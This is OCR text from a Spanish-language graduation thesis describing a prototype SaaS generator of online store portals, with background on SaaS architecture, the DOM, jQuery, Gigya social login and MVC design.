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PREFACIO

La propuesta de Megaproyecto planteada involucra el desarrollo de un concepto
relativamente nuevo en Guatemala y América Latina: Un generador automatico de portales de
venta en linea que siguiera un modelo de Software as a Service (ofrecer el sistema como un
servicio via Internet). Esta propuesta surgié en una exposicion de posibles Megaproyectos. La
empresa “Coffee with a Mission” presentd una necesidad que poseia y alentd a los estudiantes
de Ciencias de la Computacidn a participar en ella. La idea requeria un portal de venta en linea,
tipo shopping cart, que permitiera comercializar el café de trabajadores en el drea rural a través
de Internet. El departamento de Computacidon detecté rdpidamente una propuesta mas
interesante que, ademas de solucionar las necesidades de pequefias y medianas empresas como
“Coffee with a Mission”, funcionara con un modelo SaaS y generara los portales de venta en

linea de forma automatica .

El sistema creado es Unicamente un prototipo de un sistema para subcontratacion de
comercio electrénico, pues los costos de licenciamiento, infraestructura y demas material para

llevar el proyecto a su completa culminacion y potencial comercializacién son elevados.
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RESUMEN

El trabajo de Megaproyecto comprende el desarrollo de un sistema que le permitird a
una pequefia o mediana empresa comercializar sus productos a través de Internet,
mediante una solucién de Software as a Service, una distribucion de software en la que el
cliente paga un alquiler o derecho de uso del software, en lugar de ser propietario de la
aplicacion. Con este modelo el cliente no necesita preocuparse por gastos de

mantenimiento, asesoria técnica o hardware.

Este trabajo de graduacion describe todos los mddulos involucrados en el sistema, el
Moddulo del Generador de Portales de venta en Linea, el Mddulo de Portal de Venta en
Linea, el Mddulo de Administracién de Empresas, el Mddulo de Disefio de Plantillas, Mddulo
de Administracion para el Consumidor, el Mddulo de Base de Datos, el Mddulo de

Administracion Interna y el Médulo de Planificacion y Plan de Comercializacion.

XXXi



|. INTRODUCCION

El Megaproyecto busca solventar una necesidad real de las pequefias y medianas empresas,
la necesidad de canales alternativos de distribuciones de bienes y productos de consumo,

particularmente, el comercio electrénico.

El trabajo desarrollado es una propuesta basada en un nuevo modelo de distribucion de
software, en el que un cliente alquila un programa como un servicio, y pagard una cuota
mensual o anual para hacer uso del servicio; a este modelo se le llama Software as a Service, o

software como un servicio, cominmente conocido como Saas.

El Megaproyecto es un prototipo de un sistema que permitird a una empresa la creacién
personalizada de un portal de ventas en linea, con suficientes herramientas para la
administracion un catdlogo de productos, 6rdenes y ver estadisticas y reportes acerca de los
patrones de venta de sus consumidores. El portal de venta permitird a los clientes potenciales
de las empresas (consumidores) navegar un catalogo de productos electrénico, agregarlos a un

carrito de compras virtual y realizar un pedido en la tienda, en una serie de pasos sencillos.

Los integrantes del Megaproyecto fueron cuatro estudiantes de Ingenieria en Ciencias de la
Computacién y un estudiante de Ingenieria Industrial. Los estudiantes de Ciencias de la
Computacién tuvieran a cargo la creacién del sistema y el estudiante de Ingenieria Industrial
tuvo a su cargo la conformacién tedrica de una empresa que proveeria los servicios del

Megaproyecto, el nombre de la empresa dicha empresa es Shopcase.

La implementacion de un sistema de pagos por medio de tarjeta de crédito quedd fuera del
alcance del proyecto, pues requeria una inversién sustancial de capital el cual no se disponia, el

detalle de los costos se incluye en los anexos del trabajo.

El sistema fue desarrollado enteramente utilizando PHP y MySQL, y no se utilizaron

herramientas como un Content Management System (CMS), pues era necesario



desarrollar un sistema que fuese escalable y modificable en un futuro, y modificar y mantener
un sistema no propietario incluiria una reingenieria considerable para el proyecto al agregar

nueva funcionalidad o mantener el cédigo.

Fue necesario desarrollar una arquitectura que pudiera soportar la naturaleza de SaaS, que
estuviera construida en base a una biblioteca de clases y repositorios escalables y centralizados
gue se pudieran utilizar para dar soporte a un numero ilimitado de clientes sin la necesidad de

crear una copia del sistema completo por cada empresa que quisiera adquirir el servicio.

El sistema se dividid en cinco mddulos, la vista general del Megaproyecto se muestra en la

llustracién 1.

[lustracion 1. Vista general del sistema generador de portales de venta en linea y distribucién de

madulos.

Sistema generador de portales de ventas en linea

Administrador

Cliente

Consumidor



La llustracién 1 describe a grandes rasgos el funcionamiento de la plataforma:

- Un administrador (personal de Shopcase) creard una contrasefia de acceso para
permitir a un cliente (empresa) crear un portal de ventas.

- Un cliente (empresa) utilizara el médulo de generador para crear un portal de venta
en linea.

- Un cliente creard su catalogo de productos en el médulo de administracidon de
empresas.

- Un cliente potencial (consumidor) de la empresa utilizard el médulo de portal de
venta en linea para navegar el catdlogo de productos y hacer una orden.

- El consumidor podrda administrar su informacién personal y sus pedidos en el
maodulo de administracion para el consumidor.

- Un cliente podra ver las érdenes que se hayan ingresado desde el médulo de portal

de venta en linea y manejarlas.

Como se puede observar en la llustracién 1 no existe comunicacidon directa entre los
maodulos pues dependen Unicamente de la informacién que exista en la base de datos; se dividid
la labor de esta forma para que la integracidon de los médulos para crear el sistema completo

dependiera exclusivamente de la estandarizacién de la representacion de los datos.

Se tuvo a cargo la administracidon del Megaproyecto, que implicd la asignacién de tareas

macro a los demds integrantes y monitoreo constante del progreso del desarrollo del sistema.



Il. OBJETIVOS

A. Generales

1. Mddulo del Generador de Portales de venta en Linea y Médulo de Portal de Venta en

Linea

Desarrollar un sistema que permita a una empresa crear un portal de venta en linea y
gestionar un catdlogo de productos y las érdenes realizadas por sus clientes.
Administrar un equipo de trabajo de cuatro estudiantes de Ciencias de la

Computacién y un estudiante de Ingenieria Industrial.

2. Mddulo de Administracidon de Empresas

Elaborar un sistema que permita a todas las empresas llevar el control de los
consumidores, productos, ordenes, publicidad e informacién general de la empresa,
para publicar en un portal de venta en linea.

Implementar las medidas necesarias para que el mdédulo de administracion de
empresas sea eficiente basandose en la reduccién del peso total de las paginas e
implementar medidas de seguridad para evitar ataques de cross site scripting y sql

injection.

3. Mddulo de Disefio de Plantillas y Médulo de Administracién para el Consumidor

Desarrollo de la plantilla maestra que mostrardan las vistas del sistema.

Desarrollo del Mddulo de Administracidn para el Consumidor.

4. Médulo de Base de Datos y Mddulo de Administracion Interna

Investigar la arquitectura recomendada para una base de datos de un sistema en
modelo Saa$ para almacenar informacioén.

Evaluar las posibles arquitecturas de base de datos orientadas al modelo SaaS y
extraer sus caracteristicas basicas y sus respectivas ventajas y desventajas.

Disefiar una base de datos funcional para un sistema web en modelo Saas.

Disefiar un modulo de administracion de mantenimientos que brinde herramientas
para administrar informacion importante del sistema.

Disefiar las herramientas necesarias para dar mantenimiento a informacion



- administrativa del sistema.

5. Mdédulo de Planificacion y Plan de Comercializacion.

- Desarrollar un prototipo funcional de un sistema que permita la generacién automatica
y personalizada de un portal de venta en linea en modelo SaaS y demostrar que es una

mejor alternativa para las PYMES comparado con el software tradicional.

B. Especificos

1. Mdédulo del Generador de Portales de venta en Linea y Mddulo de Portal de Venta en
Linea
- Desarrollar el médulo de portal de venta en linea.
- Desarrollar el médulo de generador de portales de venta.
- Desarrollar una arquitectura que permita la creacion de multiples portales de venta
sin la necesidad de crear réplicas del sistema para su funcionamiento.
- Gestionar un equipo de trabajo con una metodologia combinada en cascada y

métodos de desarrollo agil.

2. Mddulo de Administracidon de Empresas
- Investigar las practicas mas utilizadas para mejorar la eficiencia de las paginas web.
- Investigar y utilizar YSlow para analizar el desempefio del médulo y asi optimizarlo.
- Optimizar la usabilidad y el rendimiento del sistema de administracidon para las

empresas (clientes) utilizando AJAX y librerias de JQuery.

3. Mddulo de Disefio de Plantillas y Médulo de Administracién para el Consumidor

- Cubrir las reglas populares de disefio en el desarrollo de las plantillas.

- Crear plantillas, que integren todos los componentes de un sitio de ventas en linea, de
forma correcta.

- Ofrecer al cliente diferentes estilos de la plantilla maestra. Estos estilos seran
aplicados a la vista del portal de venta y a la vista del administrador para el
consumidor.

- Desarrollar las secciones del mdédulo de administracion para que el usuario tenga
control sobre: datos personales, érdenes, datos de pago y agenda de direcciones.

- Realizar los cambios necesarios para unificar el médulo con el sistema.

- Obtener retroalimentacion de usuarios para las plantillas y el mddulo de
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administracion.

. Médulo de Base de Datos y Médulo de Administracién Interna

Investigar a fondo tres arquitecturas de base de datos multi-inquilino para usar en un
sistema en modelo SaaS: bases de datos separadas, base de datos compartida con
esquema separado y base de datos compartida con esquema compartido.

Disefiar e implementar las herramientas necesarias para que los demdas mddulos
puedan comunicarse con la base de datos.

Disefiar e implementar una base de datos con arquitectura multi-inquilino para
almacenar la informacidn del sistema generador de portales de venta en linea y de los
portales generados.

Implementar un mddulo de administracién y sus mantenimientos para que los
administradores tengan acceso a herramientas para llevar a cabo tareas de

administracion del generador.

. Mddulo de Planificacién y Plan de Comercializacién

Realizar la planificacién del desarrollo del proyecto.

Estimar la demanda para conocer las ventas futuras

Realizar un analisis de sensibilidad en relacién a las ventas para determinar el punto
de equilibro

Costear el desarrollo del sistema y los gastos administrativos para determinar la
potencial rentabilidad del proyecto

Disefiar procesos para crear un sistema seguro, facil de utilizar y simple de configurar
para los clientes

Desarrollar una investigacién de mercado y formular un plan de mercadeo para la

comercializacion del sistema basado en SaaS.



I11. JUSTIFICACION

El comercio electronico no es un campo explotado en Guatemala, no existen leyes que
protejan al comprador contra posibles fraudes y las alternativas que existen son pocas, tienen

un precio elevado y tardan un largo tiempo en desarrollarse.

El sistema implementado busca solventar estos problemas, al ofrecerle a empresas locales
una solucién alternativa para comercio electrdnico, en su idioma, con representantes a nivel
local y que le permita iniciar operaciones en una plataforma de comercio electrénico que se

integra con redes sociales inmediatamente.

Fue necesario desarrollar una nueva arquitectura de software para llenar las necesidades
del Megaproyecto, lo cual afiade valor extra al trabajo realizado porque se generd nueva

informacidn util en el ambito cientifico, ademas del posible impacto social del proyecto.



IV. MARCO TEORICO

A. ¢Qué es Software as a Service?

“Software as a Service” o el software como un servicio es un nuevo paradigma para el
desarrollo e implementacién de aplicaciones. En lugar de que el programa se encuentre en la
computadora del cliente, la aplicacion se encuentra almacenada en un servidor y el cliente
tendra acceso a ella por medio de un buscador de Internet, y podra hacer uso de la aplicacion
siempre que se pague la cuota del servicio, por eso se dice que la aplicacién se adquiere como

un servicio (ThinkStrategies, 2007).

Tener una aplicacién en un modelo de Software as a Service (SaaS de ahora en adelante) le
permite al cliente tener una aplicacion lista para utilizarse en un tiempo muy corto, a diferencia
del software convencional que debe ser construido de cero para ajustarse a las necesidades del
cliente. Las aplicaciones tipo SaaS son altamente configurables, lo que las hace ideales para su

uso por muchos clientes al mismo tiempo (ThinkStrategies, 2007).

De acuerdo con SaaS Attack (2009) los siguientes son algunos de los problemas de disefio

mas comunes al momento de desarrollar una aplicacion SaaS:

- Multitenancy — Arquitectura Multi-Inquilinos: ¢éSe deberia utilizar un modelo
multitenancy? ¢Cudles son las alternativas? ¢Cuales son los pros y los contras? ¢Cual
es la mejor forma de implementarlo?

- Seguridad: ¢Cudl es la mejor forma de implementar seguridad? ¢Como es posible
asegurar que los datos de las distintas empresas a las cuales se provee el servicio estén
seguros y sean independientes?

- Escalabilidad: ¢Cudl es la mejor manera de disefiar una aplicacidon que sea capaz de

servir a una gran cantidad de usuarios?



Disponibilidad: ¢Como desarrollar una aplicaciéon que esté disponible un 99.9% del
tiempo para todos los clientes?

Rendimiento: ¢ Cdmo desarrollar una aplicacién que pueda tener tiempos de transaccidn
menos a 500 milisegundos, y que sea lo suficientemente ligero para mostrarse en
pantalla en 1-3 segundos?

Modelo de datos extensible: ¢COomo desarrollar una aplicacién a mas de 1000
administradores, y que cada administrador tenga la capacidad de alterar una base de
datos sin alterar a las demds?

GUI/Interfaz Gréfica Configurable: ¢Cémo desarrollar una aplicacion que le permita al
cliente modificar el GUI de su aplicacién?

Légica de Negocios Configurable: ¢Cédmo permitirle a las compaiiias agregar su propia
légica de negocios?

Flujos de Trabajo: ¢Como disefiar un sistema que sea lo suficientemente flexible como
para permitir al cliente integrar sus propios flujos de trabajo?

Internacionalizacion: ¢Como desarrollar una aplicacion que puede ser utilizada por

compainias y usuarios finales a través del Internet y alrededor del mundo?

El desarrollo intentara buscar encontrar soluciones a algunos de los problemas anteriores,

principalmente los siguientes:

1.

- Arquitectura

- Rendimiento

- Modelo de datos
- Seguridad

- Interfaz grafica

Ventajas y desventajas del modelo Saa$

a. Ventajas

- Reduce los costos de operacién y mantenimiento.
- La empresa cliente se desatiende de las operaciones del Tl (Tecnologias de la
Informacidn) confidandolas a la empresa que brinda el servicio.

- Todo el soporte, actualizaciones, mantenimientos y seguridad lo da la
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empresa que brinda el servicio.
- Reduce costos de TI.
- Funciona en distintos navegadores y dispositivos.
- Servicio escalable. Puede dar servicio a muchos clientes simultdneamente.
- El cliente puede dedicarse a su negocio principal (core businness).

(SaaS Attack, 2009).
b. Desventajas

- Se depende de un solo proveedor, si el sistema falla, no hay servicio.
- Se depende completamente del acceso a Internet del cliente.
- El proveedor tiene todos los datos de la empresa cliente.

- Se compromete la confidencialidad de la informacion del cliente.

(ThinkStrategies, 2007).

B. Arquitectura Saa$

El disefio de la arquitectura de un software tipo SaaS sera uno de los factores clave en el
éxito y popularidad de la aplicacién, se dice que una buena arquitectura debe ser segura,
eficiente, escalable, y confiable. A continuacién se presentan algunos lineamientos generales

para el desarrollo de una aplicacion en modelo Saa$S (Chong y Carraro, 2006).

1. Madurez de un modelo SaaS. Expertos (Chong, Carraro, 2006) han creado un modelo

para medir la madurez de una solucién de SAAS, el modelo se presenta a continuacion:

o Nivel 1: Este nivel es similar al modelo tradicional de aplicaciones que se ha manejado
desde los 90’s. En este nivel cada cliente tiene su propia versién configurada a la medida
de la aplicacion en el servidor del proveedor. La diferencia con el modelo de
aplicaciones normal es que todos los usuarios estan conectados a un mismo servidor, sin
embargo todos corren instancias distintas, independientes y hechas a la medida.

o Nivel 2: En el segundo nivel se aloja una instancia separada de la aplicaciéon para cada
cliente (o inquilino). Sin embargo, a diferencia del nivel 1, cada instancia utiliza el mismo

cadigo, simplemente se ofrecen opciones de configuracion para llenar las necesidades
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del cliente.

Nivel 3: En este nivel se corre una Unica instancia que sirve a todos los inquilinos, con
suficientes pardmetros que le permiten a cada usuario operar como si tuvieras su propia
version del servicio. Fuertes politicas de seguridad y autorizacidn se aseguraran que los
datos de todos los usuarios sean independientes y no haya ninglin filtrado de
informacion.

Nivel 4: En el nivel final se mantienen varias instancias para que sean distribuidas a los
usuarios que los necesiten, creando y eliminando conforme sea necesario para
satisfacer la demanda. Este nivel es escalable, y cualquier cambio al cddigo es facil de

hacer para un solo usuario o para mil usuarios.

llustracion 2. Modelo de madurez de aplicaciones SaaS (Chong, Carraro, 2006).

A

C|IEI'|LE 1 Eller'lt& z CI|EnLe 3 Cliente 1 Clienba 2 Cliante 3
_| _| — — —
Instancia 2| |Instancia % Instancia Instancia Instancia

CllEnLe 1 Cliante 2 CllEl‘lLE 3 l:llen el Cliente 2 Clisnte 3

£

Cantraladar de Carge

Instancia
- / - %\

Instancia Instancia Instancia

_l
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2. Servicios de metadatos. Uno de los objetivos de SaaS es evitar que cada cliente tenga

una copia de todo el cédigo fuente en el espacio en el que esté alojado, esta idea no sélo

no concuerda con todo el modelo SaaS, resulta ineficiente al momento de hacer correcciones o
actualizaciones. Para evitar replicacién de cddigo se corre una sola instancia a la que todos los
usuarios accederan, sin embargo, gracias a un servicio de metadatos, el usuario podrd ver la

aplicacion de acuerdo a su propia configuracion (Chong, Carraro, 2006).

En una aplicacion SaaS robusta, el servicio de metadatos le permitird al usuario con
herramientas para configurar la apariencia de su sitio o modificar cualquier otro aspecto de su
negocio que se haya integrado en la aplicacion. Por lo general se pueden hacer actualizaciones

en estas cuatro areas:

- Interfaz de usuario e imagen corporativa: Es deseable que el usuario pueda alterar su
producto para que refleje la imagen de su empresa, como color, tipo de letra, logo,
etc. (Chong, Carraro, 2006).

- Flujo de trabajo y reglas del negocio: Para que la aplicacién sea competitiva, tiene que
adecuarse a distintos flujos de trabajo. No todos los clientes tendran las mismas
necesidades de compras y ventas. La aplicacidon deberia permitir en la manera de lo
posible adecuarse a los flujos de trabajo de sus procesos de negocio (Chong, Carraro,
2006).

- Extensiones al modelo de datos: Todos los clientes son distintos, simplemente no es
eficiente darle un espacio fijo al usuario para almacenar los datos relacionados con sus
datos, como campos de tipo y tamafio fijo en una base de datos. Un modelo flexible le
permite al usuario modificar la aplicaciéon para que se acople a sus necesidades; en
lugar de obligarlo a acoplarse a un conjunto de restricciones (Chong, Carraro, 2006).

- Control de acceso: Cada cliente es responsable por crear cuentas individuales para los
usuarios finales, y por controlar los permisos que poseera y las funciones relacionadas.
Derechos de acceso y restricciones seran controladas por estrictas politicas de
seguridad, estas configuraciones también quedan en manos del cliente del servicio.

(Chong, Carraro, 2006).

A diferencia de aplicaciones de escritorio tradicionales, las aplicaciones de tipo SaaS seran

configuradas por alguien dentro de la empresa que solicita el servicio. Por este motivo el disefio
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de las interfaces de configuracién debe ser tan importante como el disefio de las interfaces para
el usuario final. Mas adelante se discutira mds acerca de usabilidad en las interfaces de los

usuarios (Chong, Carraro, 2006).

C. Escalabilidad

Una aplicacién de tipo SaaS tiene que ser capaz de servir a grandes cantidades de usuarios
y debe ser capaz de expandirse aun mas. La aplicacion tiene que ser capaz de servir a todos los
usuarios de nuestros clientes, multiplicado por el nimero total de clientes que contraten el

servicio.

1. Escalando la aplicacidn. Las aplicaciones se pueden escalar de dos formas; hacia arriba
(mover la aplicacidn a un servidor mas grande), o hacia afuera (ejecutar la aplicacion en
multiples servidores). La primera opcidén suele ser la mas comun para nuevas aplicaciones que
aun no sirven a muchos clientes. La segunda alternativa se debe considerar cuando la aplicacién
comienza a crecer y debe ser capaz de servir a mucho mds usuarios. Una aplicacion robusta y
con un disefo sélido puede ser escalada hacia afuera a un numero ilimitado de servidores, y
cada servidor seria capaz de correr una o mas instancias de la aplicacidon. A continuaciéon se
presentan algunas ideas generales para escalar una aplicacion hacia afuera de acuerdo a Chong
y Carraro (2006):

- Disefiar la aplicacion para que se ejecute “sin estado”, de ser posible, procurar
almacenar datos del usuario o sesiéon del lado del usuario, o en un repositorio
distribuido que sea accesible para todas las instancias. “Sin estado” significa que cada
transaccion pueda ser manejada por cualquier instancia; un usuario seria capaz de
realizar transacciones con multiples instancia de manera transparente.

- Disefiar la aplicacion para que las operaciones de 1/O (Input/Output — Entrada/Salida)
sea asincronas, para realizar tareas Utiles mientras se espera una respuesta del usuario o
una salida del sistema.

- Mantener en reserva threads, conexiones de red, conexiones de bases de datos; esto
ayuda a maximizar los recursos computacionales, y mejora la capacidad de predecir el
uso de los recursos.

- Escribir las rutinas de bases de datos a manera de maximizar la concurrencia y minimizar

operaciones que puedan dejar los registros inaccesibles. Por ejemplo, no dejar sellados
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registros al hacer operaciones de sdlo lectura.

2. Servicios compartidos. Existen dos opciones en cuanto al hospedaje (hosting) de la
aplicacion de SaaS, el proveedor del servicio puede adquirir sus propios servidores e
infraestructura para albergar su aplicacidn, o podria optar por rentar un servicio de hosting con
un tercero; en este caso, el proveedor del hosting se hara responsable por la disponibilidad del
sitio, pero el proveedor del SaaS no sera responsable de la operacién y mantenimiento del sitio

(Chong, Carraro, 2006).

De acuerdo con Chong y Carraro (2006), proveer software en modelo SaaS introduce
consideraciones adicionales cuando se alquile espacio con un tercero, dependiendo del plan de
negocios, es posible que se necesite algun sistema de cobros o algln sistema para llevar control
de las actividades de los usuarios. Estas son algunas de las caracteristicas que se podrian

necesitar:

- Medir de manera exacta el uso de los clientes, y hacer cobros en base al tiempo vy
recursos que utilicen.

- Restringir o dar mas accesos a ciertas horas del dia para llenar otras necesidades.

- Monitorear el acceso y el desempeio del sitio, para verificar que se cumplan los
términos pactados para el servicio.

- Realizar otras funciones para permitir una experiencia transparente a los clientes.

D. Document Object Model (DOM)

El Document Object Model (DOM) es una interfaz de programacién de aplicaciones (API)
para documentos HTML y XML. Define una estructura légica para los documentos y la forma en

la que los documentos son accedidos (Le Hégaret et al, 2000).

Con el DOM es posible construir documentos, navegar su estructura, agregar, modificar y

eliminar elementos y contenido dentro de un documento HTML o XML.

El DOM define una estructura jerarquica para cualquier documento, tome el siguiente

segmento de cédigo como ejemplo:
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<TABLE>
<TBODY>
<TR>
<TD>Shady Grove</TD>
<TD>Aeolian</TD>
</TR>
<TR>
<TD>Over the River, Charlie</TD>
<TD>Dorian</TD>
</TR>
</TBODY>
</TABLE>

La llustracién 3 es una representacion grafica del DOM del segmento de cédigo anterior.

[lustracion 3. Representacidon de DOM de una tabla en HTML (Le Hégaret et al, 2000).

=TBODY =

=TC= ‘ =TD= ‘ =Th= ‘ =Th= |

Shady Grove Aealian ver the Rlver, Dorian
Charlie

Los elementos del DOM se pueden identificar ya sea por el nombre de la etiqueta de HTML

(<p>, <input>, <label>, etc), el nombre asignado al elemento, el identificador del documento, o

la clase a la que pertenezca, por ejemplo:

<TABLE id = “table”>

<TBODY>

<TR class="row”>

<TD class="column” id="1">Shady Grove</TD>
<TD class="column” id="2">Aeolian</TD>

</TR>
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<TR class="row”>

<TD class="column” id="3">Over the River, Charlie</TD>
<TD class="column” id="4">Dorian</TD>

</TR>

</TBODY>

</TABLE>

E. Bibioteca de Javascript: JQuery

Esta biblioteca de cddigo abierto de Javascript permite extender el lenguaje al agregar
funcionalidad que permite agregar crear cédigo mas eficiente y compacto mediante la
manipulacion del DOM, manejo de llamadas asincronas de XHTML (AJAX), animaciones y
manejo de eventos (detectar cuando se presiona un botén o enlace, una tecla, etc.) (Insidesings,

2010).

JQuery funciona principalmente con “selectores”, expresiones que seleccionan elementos
del DOM, ya sea por nombre, identificador, clase u otros atributos y que permiten realizar

alguna manipulacion sobre estos eventos (Insidesings, 2010).

Una descripcién de los tipos de selectores mas comunes dentro de JQuery (Insidesings,

2010):

- Elemento (N): Selecciona todos los elementos que tengan la etiqueta de nombre N.

Ejemplos:

S('div') Selecciona todos los elementos con nombre de etiqueta div en el documento

(<div></div>).

S('p') Selecciona todos los elementos con nombre de etiqueta p en el documento

(<p></p>).

- ldentificador (#myid): Selecciona el elemento uUnico con identificador #myid.
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Ejemplos:

e S('#myid') Selecciona el element con id="myid"
e S('divitmyid') Selecciona el element de etiqueta div con identificador Unico

“myid” (Un elemento definido asi: <div id="myid"”></div>.

- Clase (.myclass): Selecciona todos los elementos que posean la clase “myclass”

Ejemplos:
1 1 H “" ”
e S(".myclass') Selecciona todos los elementos que posean clase “myclass”.
e S$('p.myclass') Selecciona todos los elementos de etiqueta “p” que posean la
clase “myclass”.
e S(".myclass .otherclass') Selecciona todos los elementos que tengan las clases

“myclass” y “otherclass”.

Los selectores se pueden utilizar junto con otros métodos para agregar funcionalidad a un

documento, se dan ejemplos de los métodos mas comunes de JQuery (Insidesings, 2010).

e $(“.class”).click(function(){ /* Inserte su cédigo aqui */}) : La expresién anterior harad que
se ejecute la porcion de cédigo deseado cuando se haga click sobre cualquier elemento
" ”
gue tenga la clase “class”.
e $(‘a’).each(function() {contador++;}): La expresidn anterior ejecutard la instruccidn
“contador++” por cada hipervinculo (una etiqueta “a”) que se encuentre en el DOM,
efectivamente contando cuantos hipervinculos existan en el documento.

e S(“#element”).hide(): La expresién anterior hard que el elemento con ID = “element” no

sea visible en el documento, $(“#element”).show() mostraria el elemento.

La documentacion completa de la libreria JQuery se puede obtener en la pagina oficial del

proyecto: http://iquery.com.



http://jquery.com/
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F. API Gigya

Gigya es una herramienta que permite agregar funcionalidad de autenticacion de redes
sociales a cualquier sitio. En lugar de que el usuario tenga que ingresar alguin correo electrénico
o contraseia, este podra utilizar su cuenta de algun sitio de red social para autenticary

registrarse (Gigya, 2010).

Cuando un usuario selecciona alguno de los servicios de redes sociales se abrird una
ventana correspondiente al sitio que selecciond y se pedird al usuario que se autentique en esta
pagina y autorice la aplicacion. Una vez el usuario ha sido autenticado serd posible obtener un
identificador Unico para su cuenta que se podra utilizar internamente para manejar la

autenticacién futura del usuario (Gigya, 2010).

Algunos de los sitios con los que Gigya permite interactuar son: Yahoo, Google, WordPress,

Blogger, Twitter, Facebook, MySpace (Gigya, 2010).

llustracion 4. Ejemplo de la interfaz de autenticacion de Gigya.

Yoursite.com

Sign Up | Login

Login

Login with your social network:
H:-=0 in’

Or login with your aceount:

Submit

El proceso de utilizacion del APl de Gigya es sencillo y se compone de dos pasos:

- Agregar los siguientes segmentos de cédigo a la pagina que se desea posea la

autenticacién de Gigya (Gigya, 2010):

1) <html>
2) <head>
3) <script type="text/javascript" lang="javascript"

4)
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src="http://cdn.gigya.com/JS/socialize.js?apikey=2_YxjlbtivfNHLWQr8rTcbVPD29yliouWkhdShHIG2Hh7QUAbd_odcbN2DBXD8J9wv
">

5) </script>

6) <script type="text/javascript">

7) var conf = { APIKey: '2_YxjlIbtIvfNHLWQr8rTcbVPD29yliouWkhdShHIG2Hh7QUAbd_odcbN2DBXD8J9wv'};

8) </script>

9) </head>

10)<body >

11)<br />

12) <p>Please Sign In using one of the following providers:</p>

13)  <div id="loginDiv"></div>

14)  <script type="text/javascript">

15) gigya.services.socialize.showLoginUl(conf, {containerID: "loginDiv", width:220, height:60,

16) redirectURL: "http://wikifiles.gigya.com/Socialize/PostLoginPage.htm" });

17)  </script>

18)</body>

19)</html>

Las lineas 3-8 se deben agregar en adentro de la etiqueta <head> de la pagina y hacen la

conexion entre el sitio y el API de Gigya (Gigya, 2010).

Las linea 13-17 son las que crean el menu de autenticacién en donde se podra seleccionar

algun sitio de red social (Gigya, 2010).

Se debe manejar la respuesta de la aplicacién de Gigya cuando el usuario se ha autenticado
en el sitio de red social de su eleccion (Gigya, 2010).

La respuesta se puede manejar de dos formas, se puede permitir que la aplicacidn redirija

el explorador a una direccién que contenga la informacién del usuario, por ejemplo:

http://www.YourSite.com/PostLoginPage.htm?zip=&UID=123&photoURL=&nickname=John%20Doe&pro

fileURL=&birthMonth=10&loginProvider=twitter&loginProviderUID=65e&country=&thumbnailURL=&las

tName=Esh

La segunda alternativa es manejar la respuesta por medio de Javascript, se puede declarar
un método de Javascript dentro de la pagina que sera llamado cuando se complete la
autenticacién, y se le enviard toda la informacién que le permita al administrador de la

aplicacion registrar o autenticar al usuario externo (Gigya, 2010).


http://www.yoursite.com/PostLoginPage.htm?zip=&UID=123&photoURL=&nickname=John%20Doe&profileURL=&birthMonth=10&loginProvider=twitter&loginProviderUID=65e&country=&thumbnailURL=&lastName=Esh
http://www.yoursite.com/PostLoginPage.htm?zip=&UID=123&photoURL=&nickname=John%20Doe&profileURL=&birthMonth=10&loginProvider=twitter&loginProviderUID=65e&country=&thumbnailURL=&lastName=Esh
http://www.yoursite.com/PostLoginPage.htm?zip=&UID=123&photoURL=&nickname=John%20Doe&profileURL=&birthMonth=10&loginProvider=twitter&loginProviderUID=65e&country=&thumbnailURL=&lastName=Esh
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- Al obtener el identificador del usuario (UID) se deberia verificar si este ya existe en la
base de datos del sistema, si no existiera, se deberia registrar su informacién y crear un
nuevo usuario en la base de datos interna del sistema; si el UID ya existiera, se identifica

al usuario y se completa su proceso de autenticacién (Gigya, 2010).

G. Librerias de JQuery adicionales

Se utilizaron las siguientes que dan soporte a JQuery y agregan funcionalidad:

- JQuery Validate: Permite validar de manera automatica los campos de una forma
(http://bassistance.de/jquery-plugins/jquery-plugin-validation/).

- Impromptu: Herramienta que permite crear didlogos de texto con apariencia
configurable para reemplazar los didlogos por defecto de Javascript
(http://trentrichardson.com/Impromptu/index.php).

- Popeye: Permite crear una galeria de imagenes ligera (http://dev.herr-
schuessler.de/jquery/popeye/).

- AJAX Upload: Permite subir archivos sin necesidad de hacer redirecciones de URL

mediante llamadas asincronas de AJAX (http://valums.com/ajax-upload/).

H. Disefo modelo-vista-controlador

El disefio modelo-vista-controlador es un patrén de arquitectura desarrollado inicialmente
para uso en Smalltalk (lenguaje de programacion) por Trygve Reenskaugh que pretendia separar
la légica de un sistema o de un programa. Eventualmente fue adaptado para ser utilizado en

sistemas web (Sironi, 2010).

De acuerdo a Sironi (2010), el disefio propone separar toda la funcionalidad del sistema en

una de tres categorias, modelo, vista o controlador, descritas a continuacion:

— Modelo: El centro de la aplicacidn o el sistema, contiene la légica de negocios y por lo
general se nombran representando a una entidad del sistema, como “Producto”,
“Orden” o “Cliente”.

— Vista: Es la interfaz visible de la aplicacién, provee al usuario las herramientas para

interactuar con el sistema y realizar transacciones.


http://valums.com/ajax-upload/
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— Controlador: Es la conexién entre la vista y el modelo, maneja las entradas del usuario a
través de la interfaz, manipula los datos de alguna forma si es necesario y la envia al
modelo para que este la manipule o devuelva cualquier informacidon que se haya
requerido. En otras palabras, el controlador transforma las acciones del usuario en

funciones reconocibles para el modelo.

I. Seguridad

De acuerdo a Adams y Lloyd (1999), todo sistema informatico de seguridad debe reforzar

tres aspectos importantes, la confidencialidad, la integridad y la disponibilidad:

— Confidencialidad: Se refiere a limitar el acceso a la informacién, es decir, la informacién
puede ser revisada Unicamente por usuarios que han sido autorizados. Los métodos mas
comunes para reforzar la confidencialidad en un sistema es el uso de métodos de
autenticacién, como el uso de contrasefias o pases fisicos de seguridad. La
confidencialidad también incluye proteger al sistema de ataques de software malicioso
(malware), spam u otras entidades que intenten tener acceso no autorizado a la

informacién (Adams y Lloyd, 1999).

— Integridad: Se refiere a que los datos no puedan ser alterados de manera irreparable e
indetectable, ya sea por accidente o intencionalmente. También es importante conocer
la persona o entidad que modificé la informacidn, sin importar si se hizo de manera

maliciosa o no (Adams y Lloyd, 1999).

— Disponibilidad: Se refiere a que la informacién del sistema se encuentre disponible
cuando sea solicitada. La disponibilidad es un aspecto notablemente dificil de reforzar,
pues la disponibilidad de un sistema se puede ver comprometida por atacantes,
problemas técnicos, accidentes de planta o desastres natural también podrian afectar la

disponibilidad de la informacién (Adams y Lloyd, 1999).
J.  Desarrollo en cascada

También llamado modelo lineal secuencial o ciclo de vida basico, este tipo de desarrollo
divide un proyecto en cuatro distintas fases (Pressman, 2002).
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- Analisis: Es el proceso de reunidn de requerimientos e identificacién de necesidades,
puede estar acompafado por una etapa previa de investigacion (Pressman, 2002).

- Diseno: Sera necesario disefar la estructura de datos, la arquitectura de software,
representaciones graficas de la interfaz y se deberd definir el proceso que sigue la
